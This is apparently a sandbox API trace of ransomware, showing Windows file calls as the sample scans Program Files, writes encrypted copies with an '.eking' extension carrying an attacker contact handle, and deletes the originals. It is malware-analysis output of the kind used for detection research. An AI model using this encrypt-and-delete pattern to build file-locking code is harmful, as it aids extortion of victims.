[0294.850] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=942080) returned 1 [0294.850] CloseHandle (hObject=0x2f0) returned 1 [0294.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0294.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0294.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.851] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77824) returned 1 [0294.851] CloseHandle (hObject=0x2f0) returned 1 [0294.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0294.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0294.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.852] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=9804) returned 1 [0294.852] CloseHandle (hObject=0x2f0) returned 1 [0294.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0294.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0294.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.853] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=9975) returned 1 [0294.853] CloseHandle (hObject=0x2f0) returned 1 [0294.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0294.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0294.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.855] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=868352) returned 1 [0294.855] CloseHandle (hObject=0x2f0) returned 1 [0294.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0294.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0294.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.856] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=4608) returned 1 [0294.856] CloseHandle (hObject=0x2f0) returned 1 [0294.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0294.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0294.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.857] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=326144) returned 1 [0294.857] CloseHandle (hObject=0x2f0) returned 1 [0294.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0294.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0294.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.858] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2560) returned 1 [0294.858] CloseHandle (hObject=0x2f0) returned 1 [0294.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0294.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0294.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.859] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=854528) returned 1 [0294.859] CloseHandle (hObject=0x2f0) returned 1 [0294.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0294.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0294.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.860] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=964096) returned 1 [0294.860] CloseHandle (hObject=0x2f0) returned 1 [0294.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0294.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0294.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.860] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=174) returned 1 [0294.860] CloseHandle (hObject=0x2f0) returned 1 [0294.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0294.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0294.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0294.861] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.861] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x304 [0294.862] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0xae, lpOverlapped=0x0) returned 1 [0294.863] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xb0, lpOverlapped=0x0) returned 1 [0294.864] WriteFile (in: hFile=0x304, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0294.864] CloseHandle (hObject=0x2f0) returned 1 [0294.864] CloseHandle (hObject=0x304) returned 1 [0294.865] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0294.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.868] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2560) returned 1 [0294.868] CloseHandle (hObject=0x304) returned 1 [0294.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0294.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0294.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.869] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2560) returned 1 [0294.869] CloseHandle (hObject=0x304) returned 1 [0294.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0294.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0294.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.870] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=5632) returned 1 [0294.870] CloseHandle (hObject=0x304) returned 1 [0294.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0294.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0294.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.871] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=53248) returned 1 [0294.871] CloseHandle (hObject=0x304) returned 1 [0294.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0294.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0294.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.871] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=80384) returned 1 [0294.871] CloseHandle (hObject=0x304) returned 1 [0294.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe")) returned 0x20 [0294.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe")) returned 0x20 [0294.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\hispanic.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.872] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.872] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0294.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\hispanic.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0294.873] ReadFile (in: hFile=0x304, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x13a00, lpOverlapped=0x0) returned 1 [0294.879] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x13a10, lpOverlapped=0x0) returned 1 [0294.882] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0294.882] CloseHandle (hObject=0x304) returned 1 